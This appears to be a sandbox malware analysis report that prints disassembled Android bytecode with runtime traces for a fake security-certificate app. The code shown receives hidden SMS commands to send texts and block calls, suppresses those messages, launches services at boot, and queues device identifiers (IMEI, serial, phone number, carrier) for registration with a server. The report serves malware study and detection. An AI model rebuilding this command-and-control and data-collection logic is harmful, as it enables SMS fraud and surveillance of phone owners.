Position Instruction Meta Information
1invoke-direct {p0, p1}, Lcom/security/cert/services/PhoneCallReceiver;->c(Landroid/content/Context;)V
3invoke-static {p1}, Lcom/security/cert/b/a/a;->e(Landroid/content/Context;)Ljava/lang/String;
4move-result-object v0
5if-eqz v0, :cond_23
7invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
  • Time: 173327
    • Return:
      • android.intent.action.PHONE_STATE
8move-result-object v1
10const-string v2, "android.intent.action.PHONE_STATE"
12invoke-virtual {v1, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • param0: android.intent.action.PHONE_STATE
13move-result v1
14if-eqz v1, :cond_23
16const-string v1, "state"
18invoke-virtual {p2, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
  • Time: 173328
    • param0: state
    • Return:
      • RINGING
19move-result-object v1
21sget-object v2, Landroid/telephony/TelephonyManager;->EXTRA_STATE_RINGING:Ljava/lang/String;
  • Time: 173329
    • Return:
      • RINGING
23invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
24move-result v1
25if-nez v1, :cond_24
26goto_23: return-void
27cond_24:
28invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
29move-result-object v1
31invoke-virtual {v1}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String;
32move-result-object v1
34const-string v2, "ACTION_TO_RECEIVER"
36invoke-static {v1, v2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • msg: ACTION_TO_RECEIVER
38const-string v1, ".*"
40invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • param0: .*
41move-result v1
42if-eqz v1, :cond_3d
44invoke-virtual {p0, p1}, Lcom/security/cert/services/PhoneCallReceiver;->a(Landroid/content/Context;)V
45goto/16 :goto_23
46cond_3d:
47invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
  • Time: 173331
    • Return:
      • Bundle[{state=RINGING, incoming_number=+41987654321}]
48move-result-object v1
49if-eqz v1, :cond_23
51const-string v2, "incoming_number"
53invoke-virtual {v1, v2}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Time: 173332
    • param0: incoming_number
    • Return:
      • +41987654321
54move-result-object v1
56invoke-direct {p0, v0, v1}, Lcom/security/cert/services/PhoneCallReceiver;->a(Ljava/lang/String;Ljava/lang/String;)Z
57move-result v0
58if-eqz v0, :cond_23
60invoke-virtual {p0, p1}, Lcom/security/cert/services/PhoneCallReceiver;->a(Landroid/content/Context;)V
61goto/16 :goto_23
APIs
  • com.security.cert.services.SmsReceiver.a
  • android.content.Intent.getAction
  • java.lang.String.equalsIgnoreCase
  • android.content.Intent.getExtras
  • android.os.Bundle.get
  • com.security.cert.services.SmsReceiver.a
  • com.security.cert.services.SmsReceiver.b
  • com.security.cert.services.SmsReceiver.a
  • android.content.BroadcastReceiver.abortBroadcast
  • org.json.JSONObject.org.json.JSONObject
  • org.json.JSONException.printStackTrace
  • com.security.cert.services.SmsReceiver.a
  • com.security.cert.services.SmsReceiver.abortBroadcast
  • com.security.cert.services.SmsReceiver.a
Strings
  • android.provider.Telephony.SMS_RECEIVED
  • pdus
  • {"result":"true","command":"send_sms","phone_number":"+41666666","message_text":"Joe Security says hello world!"}
  • {"result":"true","command":"start_call_blocking","phone_number":"+41987654321"}
Position Instruction Meta Information
1invoke-direct {p0, p1}, Lcom/security/cert/services/SmsReceiver;->a(Landroid/content/Context;)V
3invoke-static {p1}, Lcom/security/cert/b/a/a;->d(Landroid/content/Context;)Ljava/lang/String;
4move-result-object v1
6invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
  • Time: 155321
    • Return:
      • android.provider.Telephony.SMS_RECEIVED
7move-result-object v0
9const-string v2, "android.provider.Telephony.SMS_RECEIVED"
11invoke-virtual {v0, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • param0: android.provider.Telephony.SMS_RECEIVED
12move-result v0
13if-eqz v0, :cond_42
15invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
  • Time: 155322
    • Return:
      • Bundle[{pdus=[Ljava.lang.Object;@a0722b90, format=3gpp}]
  • Time: 184831
    • Return:
      • Bundle[{pdus=[Ljava.lang.Object;@a0716a28, format=3gpp}]
16move-result-object v0
18const-string v2, "pdus"
20invoke-virtual {v0, v2}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • key: pdus
21move-result-object v0
22check-cast v0, [Ljava/lang/Object;
23check-cast v0, [Ljava/lang/Object;
24array-length v2, v0
25if-lez v2, :cond_42
27invoke-direct {p0, v0}, Lcom/security/cert/services/SmsReceiver;->a([Ljava/lang/Object;)Ljava/lang/String;
28move-result-object v2
30invoke-direct {p0, v0}, Lcom/security/cert/services/SmsReceiver;->b([Ljava/lang/Object;)Ljava/lang/String;
31move-result-object v0
33invoke-direct {p0, v0}, Lcom/security/cert/services/SmsReceiver;->a(Ljava/lang/String;)Z
34move-result v3
35if-eqz v3, :cond_48
37invoke-virtual {p0}, Lcom/security/cert/services/SmsReceiver;->abortBroadcast()V
  • Time: 155355
    • Return:
      • java.lang.IllegalStateException: Call while result is not pending
38try_start_35: new-instance v1, Lcom/security/cert/b/b/a/a;
40invoke-direct {v1, p1}, Lcom/security/cert/b/b/a/a;-><init>(Landroid/content/Context;)V
41new-instance v2, Lorg/json/JSONObject;
43invoke-direct {v2, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
  • Time: 155357
    • param0: {"result":"true","command":"start_call_blocking","phone_number":"+41987654321"}
    • Return:
      • {"command":"start_call_blocking","result":"true","phone_number":"+41987654321"}
  • Time: 184853
    • param0: {"result":"true","command":"send_sms","phone_number":"+41666666","message_text":"Joe Security says hello world!"}
    • Return:
      • {"message_text":"Joe Security says hello world!","command":"send_sms","result":"true","phone_number":"+41666666"}
45invoke-virtual {v1, v2}, Lcom/security/cert/b/b/a/a;->a(Lorg/json/JSONObject;)V
46cond_42: return-void
47catch_43: move-exception v0
49invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
50goto/16 :goto_42
51cond_48:
52invoke-direct {p0, v1, v2}, Lcom/security/cert/services/SmsReceiver;->a(Ljava/lang/String;Ljava/lang/String;)Z
53move-result v1
54if-eqz v1, :cond_42
56invoke-virtual {p0}, Lcom/security/cert/services/SmsReceiver;->abortBroadcast()V
58invoke-direct {p0, p1, v2, v0}, Lcom/security/cert/services/SmsReceiver;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
59goto/16 :goto_42
APIs
  • android.app.Activity.onCreate
  • com.security.cert.ui.MainActivity.a
  • android.content.Intent.<init>
  • com.security.cert.ui.MainActivity.startService
  • android.content.Intent.<init>
  • android.content.Context.getString
  • android.content.Intent.putExtra
  • android.content.Intent.addFlags
  • com.security.cert.ui.MainActivity.startActivity
  • com.security.cert.ui.MainActivity.finish
Strings
  • USSDDumbExtendedNetworkService
  • I
  • *USSDDumbExtendedNetworkService bind successfully*
  • Certificate installed successfully!Your device is protected now.Certificate PIN Code: 0518
  • message
Position Instruction Meta Information
1invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
3invoke-static {p0}, Lcom/security/cert/b/a/a;->b(Landroid/content/Context;)Ljava/lang/String;
4move-result-object v0
5if-nez v0, :cond_56
7invoke-direct {p0}, Lcom/security/cert/ui/MainActivity;->a()V
9const-string v0, "USSDDumbExtendedNetworkService"
11const-string v1, "I"
13const-string v2, "*USSDDumbExtendedNetworkService bind successfully*"
14const/4 v3, 0x0
16invoke-static {v0, v1, v2, v3}, Lcom/security/cert/b/b;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Z)Z
17move-result v0
18if-nez v0, :cond_52
19sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
20const/16 v1, 0xb
21if-ge v0, v1, :cond_52
22const v0, 0x7f040012
23goto_22: new-instance v1, Landroid/content/Intent;
24const-class v2, Lcom/security/cert/services/CheckCommandsService;
26invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
28invoke-virtual {p0, v1}, Lcom/security/cert/ui/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
  • Time: 114909
    • param0: Intent { cmp=com.security.cert/.services.CheckCommandsService }
    • Return:
      • ComponentInfo{com.security.cert/com.security.cert.services.CheckCommandsService}
29new-instance v1, Landroid/content/Intent;
30const-class v2, Lcom/security/cert/services/CheckQueueService;
32invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
34invoke-virtual {p0, v1}, Lcom/security/cert/ui/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
  • Time: 114926
    • param0: Intent { cmp=com.security.cert/.services.CheckQueueService }
    • Return:
      • ComponentInfo{com.security.cert/com.security.cert.services.CheckQueueService}
35new-instance v1, Landroid/content/Intent;
36const-class v2, Lcom/security/cert/ui/MessageDialogActivity;
38invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
40const-string v2, "message"
42invoke-virtual {p0, v0}, Lcom/security/cert/ui/MainActivity;->getString(I)Ljava/lang/String;
  • Time: 114927
    • resId: 2130968593
    • Return:
      • Certificate installed successfully!Your device is protected now.Certificate PIN Code: 0518
43move-result-object v0
45invoke-virtual {v1, v2, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Time: 114928
    • param0: message
    • param1: Certificate installed successfully!Your device is protected now.Certificate PIN Code: 0518
    • Return:
      • Intent { flg=0x30000000 cmp=com.security.cert/.ui.MessageDialogActivity (has extras) }
46const/high16 v0, 0x3000
48invoke-virtual {v1, v0}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 12288
50invoke-virtual {p0, v1}, Lcom/security/cert/ui/MainActivity;->startActivity(Landroid/content/Intent;)V
  • Time: 114931
    • intent: Intent { flg=0x30000000 cmp=com.security.cert/.ui.MessageDialogActivity (has extras) }
52invoke-virtual {p0}, Lcom/security/cert/ui/MainActivity;->finish()V
53return-void
54cond_52: const v0, 0x7f040011
55goto/16 :goto_22
56cond_56: const v0, 0x7f040013
57goto/16 :goto_22
APIs
  • android.app.SharedPreferencesImpl.getString
  • android.text.TextUtils.split
  • java.util.Arrays.asList
  • java.util.List.size
  • java.util.ArrayList.<init>
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • org.json.JSONObject.<init>
  • java.util.List.add
  • org.json.JSONException.printStackTrace
Strings
  • queue
  • \u2116@--R7a
Position Instruction Meta Information
1invoke-static {p0}, Lcom/security/cert/b/a/a;->g(Landroid/content/Context;)Landroid/content/SharedPreferences;
2move-result-object v0
4const-string v1, "queue"
6const-string v2, ""
8invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Time: 115009
    • param0: queue
    • param1: ""
    • Return:
      • ""
9move-result-object v0
11const-string v1, "\u2116@--R7a"
13invoke-static {v0, v1}, Landroid/text/TextUtils;->split(Ljava/lang/String;Ljava/lang/String;)[Ljava/lang/String;
  • Data flow analysis:
    • expression: \u2116@--R7a
14move-result-object v0
16invoke-static {v0}, Ljava/util/Arrays;->asList([Ljava/lang/Object;)Ljava/util/List;
17move-result-object v0
18new-instance v1, Ljava/util/ArrayList;
20invoke-interface {v0}, Ljava/util/List;->size()I
21move-result v2
23invoke-direct {v1, v2}, Ljava/util/ArrayList;-><init>(I)V
25invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
26move-result-object v2
27goto_23:
28invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
29move-result v0
30if-eqz v0, :cond_3d
32invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
33move-result-object v0
34check-cast v0, Ljava/lang/String;
35try_start_2f: new-instance v3, Lorg/json/JSONObject;
37invoke-direct {v3, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
39invoke-interface {v1, v3}, Ljava/util/List;->add(Ljava/lang/Object;)Z
40try_end_37: goto/16 :goto_23
41catch_38: move-exception v0
43invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
44goto/16 :goto_23
45cond_3d: return-object v1
APIs
  • android.app.SharedPreferencesImpl.getString
  • android.text.TextUtils.split
  • java.util.Arrays.asList
  • java.util.ArrayList.<init>
  • java.util.List.contains
  • java.util.List.add
  • android.text.TextUtils.join
  • android.content.SharedPreferences$Editor.putString
  • android.content.SharedPreferences$Editor.commit
Strings
  • queue
  • {"device_model":"Galaxy Nexus","phone_number":"477354977525045","device_serial_number":"4f0117b2cc9d8018","action":"register","app_version":"2.1","rooted":"true","carrier":"T-Mobile Deutschland GmbH","language":"en","default_delay":60,"device_imei":"906251865357964","os_version":"4.2.1"}
  • \u2116@--R7a
Position Instruction Meta Information
1invoke-static {p0}, Lcom/security/cert/b/a/a;->h(Landroid/content/Context;)Landroid/content/SharedPreferences$Editor;
2move-result-object v0
3new-instance v1, Ljava/util/ArrayList;
5invoke-static {p0}, Lcom/security/cert/b/a/a;->g(Landroid/content/Context;)Landroid/content/SharedPreferences;
6move-result-object v2
8const-string v3, "queue"
10const-string v4, ""
12invoke-interface {v2, v3, v4}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Time: 115825
    • param0: queue
    • param1: ""
    • Return:
      • ""
  • Time: 115850
    • param0: queue
    • param1: ""
    • Return:
      • {"device_model":"Galaxy Nexus","phone_number":"477354977525045","device_serial_number":"4f0117b2cc9d8018","action":"register","app_version":"2.1","rooted":"true","carrier":"T-Mobile Deutschland GmbH","language":"en","default_delay":60,"device_imei":"906251865357964","os_version":"4.2.1"}
13move-result-object v2
15const-string v3, "\u2116@--R7a"
17invoke-static {v2, v3}, Landroid/text/TextUtils;->split(Ljava/lang/String;Ljava/lang/String;)[Ljava/lang/String;
  • Data flow analysis:
    • expression: \u2116@--R7a
18move-result-object v2
20invoke-static {v2}, Ljava/util/Arrays;->asList([Ljava/lang/Object;)Ljava/util/List;
21move-result-object v2
23invoke-direct {v1, v2}, Ljava/util/ArrayList;-><init>(Ljava/util/Collection;)V
25invoke-interface {v1, p1}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
26move-result v2
27if-nez v2, :cond_33
29invoke-interface {v1, p1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
31const-string v2, "queue"
33const-string v3, "\u2116@--R7a"
35invoke-static {v3, v1}, Landroid/text/TextUtils;->join(Ljava/lang/CharSequence;Ljava/lang/Iterable;)Ljava/lang/String;
  • Data flow analysis:
    • param0: \u2116@--R7a
36move-result-object v1
38invoke-interface {v0, v2, v1}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • param0: queue
39cond_33:
40invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
41return-void
APIs
  • android.app.Activity.onCreate
  • android.app.AlertDialog$Builder.<init>
  • android.app.AlertDialog$Builder.setTitle
  • com.security.cert.ui.MessageDialogActivity.getIntent
  • android.content.Intent.getStringExtra
  • android.app.AlertDialog$Builder.setMessage
  • android.app.AlertDialog$Builder.setCancelable
  • android.app.AlertDialog$Builder.setNegativeButton
  • android.app.AlertDialog$Builder.setOnCancelListener
  • android.app.AlertDialog$Builder.show
Strings
  • Certificate installed successfully!Your device is protected now.Certificate PIN Code: 0518
  • message
Position Instruction Meta Information
1invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
2new-instance v0, Landroid/app/AlertDialog$Builder;
4invoke-direct {v0, p0}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
  • Time: 114973
    • param0: com.security.cert.ui.MessageDialogActivity@a06d0800
    • Return:
      • android.app.AlertDialog$Builder@a0664c60
5const/high16 v1, 0x7f04
7invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setTitle(I)Landroid/app/AlertDialog$Builder;
  • Data flow analysis:
    • param0: 32516
8move-result-object v0
10invoke-virtual {p0}, Lcom/security/cert/ui/MessageDialogActivity;->getIntent()Landroid/content/Intent;
11move-result-object v1
13const-string v2, "message"
15invoke-virtual {v1, v2}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
  • Time: 114975
    • param0: message
    • Return:
      • Certificate installed successfully!Your device is protected now.Certificate PIN Code: 0518
16move-result-object v1
18invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
19move-result-object v0
20const/4 v1, 0x0
22invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setCancelable(Z)Landroid/app/AlertDialog$Builder;
  • Data flow analysis:
    • param0: 0
23move-result-object v0
24const v1, 0x7f040001
25new-instance v2, Lcom/security/cert/ui/b;
27invoke-direct {v2, p0}, Lcom/security/cert/ui/b;-><init>(Lcom/security/cert/ui/MessageDialogActivity;)V
29invoke-virtual {v0, v1, v2}, Landroid/app/AlertDialog$Builder;->setNeutralButton(ILandroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
  • Time: 114977
    • param0: 2130968577
    • param1: com.security.cert.ui.b@a06a11d8
    • Return:
      • android.app.AlertDialog$Builder@a0664c60
30move-result-object v0
31new-instance v1, Lcom/security/cert/ui/a;
33invoke-direct {v1, p0}, Lcom/security/cert/ui/a;-><init>(Lcom/security/cert/ui/MessageDialogActivity;)V
35invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setOnCancelListener(Landroid/content/DialogInterface$OnCancelListener;)Landroid/app/AlertDialog$Builder;
36move-result-object v0
38invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->show()Landroid/app/AlertDialog;
  • Time: 115004
    • Return:
      • android.app.AlertDialog@a06c4a60
39return-void
APIs
  • android.content.Intent.getAction
  • java.lang.String.equalsIgnoreCase
  • com.security.cert.services.SmsSentReceiver.getResultCode
  • android.content.Intent.getExtras
  • android.os.Bundle.containsKey
  • android.content.Intent.getSerializableExtra
  • android.content.Intent.getStringExtra
Strings
  • android.intent.action.SMS_SENT
  • LoadingCallBack
  • request
  • {"device_model":"Galaxy Nexus","phone_number":"477354977525045","device_serial_number":"4f0117b2cc9d8018","action":"register","app_version":"2.1","rooted":"true","carrier":"T-Mobile Deutschland GmbH","language":"en","default_delay":60,"device_imei":"906251865357964","os_version":"4.2.1"}
Position Instruction Meta Information
0const/4 v2, 0x0
2invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
  • Time: 115821
    • Return:
      • android.intent.action.SMS_SENT
3move-result-object v0
5const-string v1, "android.intent.action.SMS_SENT"
7invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • param0: android.intent.action.SMS_SENT
8move-result v0
9if-eqz v0, :cond_14
11invoke-virtual {p0}, Lcom/security/cert/services/SmsSentReceiver;->getResultCode()I
12move-result v0
13const/4 v1, -0x1
14if-ne v0, v1, :cond_15
15cond_14: return-void
16cond_15:
17invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
  • Time: 115822
    • Return:
      • Bundle[mParcelledData.dataSize=808]
18move-result-object v0
20const-string v1, "LoadingCallBack"
22invoke-virtual {v0, v1}, Landroid/os/Bundle;->containsKey(Ljava/lang/String;)Z
  • Data flow analysis:
    • key: LoadingCallBack
23move-result v0
24if-eqz v0, :cond_14
26const-string v0, "LoadingCallBack"
28invoke-virtual {p2, v0}, Landroid/content/Intent;->getSerializableExtra(Ljava/lang/String;)Ljava/io/Serializable;
  • Data flow analysis:
    • param0: LoadingCallBack
29move-result-object v0
30check-cast v0, Lcom/security/cert/b/b/a/b;
32const-string v1, "request"
34invoke-virtual {p2, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
  • Time: 115824
    • param0: request
    • Return:
      • {"device_model":"Galaxy Nexus","phone_number":"477354977525045","device_serial_number":"4f0117b2cc9d8018","action":"register","app_version":"2.1","rooted":"true","carrier":"T-Mobile Deutschland GmbH","language":"en","default_delay":60,"device_imei":"906251865357964","os_version":"4.2.1"}
35move-result-object v1
37invoke-virtual {v0, p1, v2, v2, v1}, Lcom/security/cert/b/b/a/b;->a(Landroid/content/Context;Ljava/lang/Throwable;Ljava/lang/String;Ljava/lang/String;)V
38goto/16 :goto_14
APIs
  • org.json.JSONObject.org.json.JSONObject
  • org.json.JSONObject.put
  • org.json.JSONException.toString
  • android.util.Log.e
Strings
  • action
  • check_commands
  • user_id
  • ServerApi
Position Instruction Meta Information
0new-instance v1, Lorg/json/JSONObject;
2invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
  • Time: 114954
    • Return:
      • {}
3try_start_5:
4const-string v0, "action"
6const-string v2, "check_commands"
8invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: action
    • param1: check_commands
10const-string v0, "user_id"
12invoke-static {p0}, Lcom/security/cert/b/a/a;->b(Landroid/content/Context;)Ljava/lang/String;
13move-result-object v2
15invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: user_id
16try_end_15:
17invoke-static {p0, v1, p1}, Lcom/security/cert/a/a/a;->a(Landroid/content/Context;Lorg/json/JSONObject;Lcom/security/cert/b/b/a/b;)V
18return-void
19catch_19: move-exception v0
21const-string v2, "ServerApi"
23invoke-virtual {v0}, Lorg/json/JSONException;->toString()Ljava/lang/String;
24move-result-object v0
26invoke-static {v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: ServerApi
27goto/16 :goto_15
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • android.telephony.SmsManager.createFromPdu
  • android.telephony.SmsManager.getMessageBody
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • {"result":"true","command":"send_sms","phone_number":"+41666666","message_text":"Joe Security says hello world!"}
  • {"result":"true","command":"start_call_blocking","phone_number":"+41987654321"}
Position Instruction Meta Information
1const-string v1, ""
2array-length v3, p1
3const/4 v0, 0x0
4move-object v2, v1
5move v1, v0
6goto_6: if-ge v1, v3, :cond_2b
7aget-object v0, p1, v1
8new-instance v4, Ljava/lang/StringBuilder;
10invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
12invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
13move-result-object v2
14check-cast v0, [B
15check-cast v0, [B
17invoke-static {v0}, Landroid/telephony/SmsMessage;->createFromPdu([B)Landroid/telephony/SmsMessage;
  • Time: 155352
    • param0: [B@a0722a60
    • param0: 2Tvz
    • param0: 01000A811032547698000005C47ABB9D07
    • Return:
      • android.telephony.SmsMessage@a06cb060
  • Time: 184850
    • param0: [B@a07169e8
    • param0: 2Tvz
    • param0: 01000A811032547698000005C47ABB9D07
    • Return:
      • android.telephony.SmsMessage@a06c4398
18move-result-object v0
20invoke-virtual {v0}, Landroid/telephony/SmsMessage;->getMessageBody()Ljava/lang/String;
  • Time: 155354
    • Return:
      • {"result":"true","command":"start_call_blocking","phone_number":"+41987654321"}
  • Time: 184851
    • Return:
      • {"result":"true","command":"send_sms","phone_number":"+41666666","message_text":"Joe Security says hello world!"}
21move-result-object v0
23invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
24move-result-object v0
26invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
27move-result-object v2
28add-int/lit8 v0, v1, 0x1
29move v1, v0
30goto/16 :goto_6
31cond_2b: return-object v2
APIs
  • org.json.JSONObject.org.json.JSONObject
  • android.util.Log.d
  • org.json.JSONException.printStackTrace
Strings
  • {\"e\":0}
  • {"e":0}
  • HttpClient
  • finish
Position Instruction Meta Information
1iget-object v0, p0, Lcom/security/cert/a/a/b;->a:Lcom/security/cert/ui/MainActivity;
2if-eqz v0, :cond_4
3cond_4:
4iget-object v0, p0, Lcom/security/cert/a/a/b;->b:Lcom/security/cert/b/b/a/b;
5instance-of v0, v0, Lcom/security/cert/b/b/a/a;
6if-eqz v0, :cond_16
7try_start_a:
8iget-object v0, p0, Lcom/security/cert/a/a/b;->b:Lcom/security/cert/b/b/a/b;
9new-instance v1, Lorg/json/JSONObject;
11const-string v2, "{\"e\":0}"
13invoke-direct {v1, v2}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
  • Time: 116298
    • param0: {"e":0}
    • Return:
      • {"e":0}
15invoke-virtual {v0, v1}, Lcom/security/cert/b/b/a/b;->a(Lorg/json/JSONObject;)V
16try_end_16:
17const-string v0, "HttpClient"
19const-string v1, "finish"
21invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: HttpClient
    • msg: finish
22return-void
23catch_1e: move-exception v0
25invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
26goto/16 :goto_16
APIs
  • android.content.Intent.getAction
  • java.lang.String.equalsIgnoreCase
  • android.content.Intent.<init>
  • com.security.cert.ui.MainActivity.startService
Strings
  • android.intent.action.BOOT_COMPLETED
Position Instruction Meta Information
1invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
  • Time: 148815
    • Return:
      • android.intent.action.BOOT_COMPLETED
2move-result-object v0
4const-string v1, "android.intent.action.BOOT_COMPLETED"
6invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • param0: android.intent.action.BOOT_COMPLETED
7move-result v0
8if-eqz v0, :cond_20
9new-instance v0, Landroid/content/Intent;
10const-class v1, Lcom/security/cert/services/CheckCommandsService;
12invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
14invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
  • Time: 148835
    • param0: Intent { cmp=com.security.cert/.services.CheckCommandsService }
    • Return:
      • ComponentInfo{com.security.cert/com.security.cert.services.CheckCommandsService}
15new-instance v0, Landroid/content/Intent;
16const-class v1, Lcom/security/cert/services/CheckQueueService;
18invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
20invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
  • Time: 148836
    • param0: Intent { cmp=com.security.cert/.services.CheckQueueService }
    • Return:
      • ComponentInfo{com.security.cert/com.security.cert.services.CheckQueueService}
21cond_20: return-void
APIs
  • android.content.Intent.getAction
  • java.lang.String.equalsIgnoreCase
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
Strings
  • android.intent.action.RE_SEND_QUEUE
Position Instruction Meta Information
1invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
  • Time: 115007
    • Return:
      • android.intent.action.RE_SEND_QUEUE
2move-result-object v0
4const-string v1, "android.intent.action.RE_SEND_QUEUE"
6invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • param0: android.intent.action.RE_SEND_QUEUE
7move-result v0
8if-eqz v0, :cond_24
10invoke-static {p1}, Lcom/security/cert/b/a/a;->f(Landroid/content/Context;)Ljava/util/List;
11move-result-object v0
13invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
14move-result-object v1
15goto_14:
16invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
17move-result v0
18if-eqz v0, :cond_24
20invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
21move-result-object v0
22check-cast v0, Lorg/json/JSONObject;
24invoke-static {p1, v0}, Lcom/security/cert/a/a/c;->a(Landroid/content/Context;Lorg/json/JSONObject;)V
25goto/16 :goto_14
26cond_24: return-void
APIs
  • android.content.Context.getContentResolver
  • android.provider.Settings.Secure.getString
Strings
  • 4f0117b2cc9d8018
  • android_id
Position Instruction Meta Information
1invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
2move-result-object v0
4const-string v1, "android_id"
6invoke-static {v0, v1}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
  • Time: 114297
    • param0: android.app.ContextImpl$ApplicationContentResolver@a065ff70
    • param1: android_id
    • Return:
      • 4f0117b2cc9d8018
7move-result-object v0
8return-object v0
APIs
  • android.app.SharedPreferencesImpl.getString
Strings
  • \+41987654321
  • numbers_to_call_block
  • numbers_to_sms_divert
Position Instruction Meta Information
1invoke-static {p0}, Lcom/security/cert/b/a/a;->g(Landroid/content/Context;)Landroid/content/SharedPreferences;
2move-result-object v0
3const/4 v1, 0x0
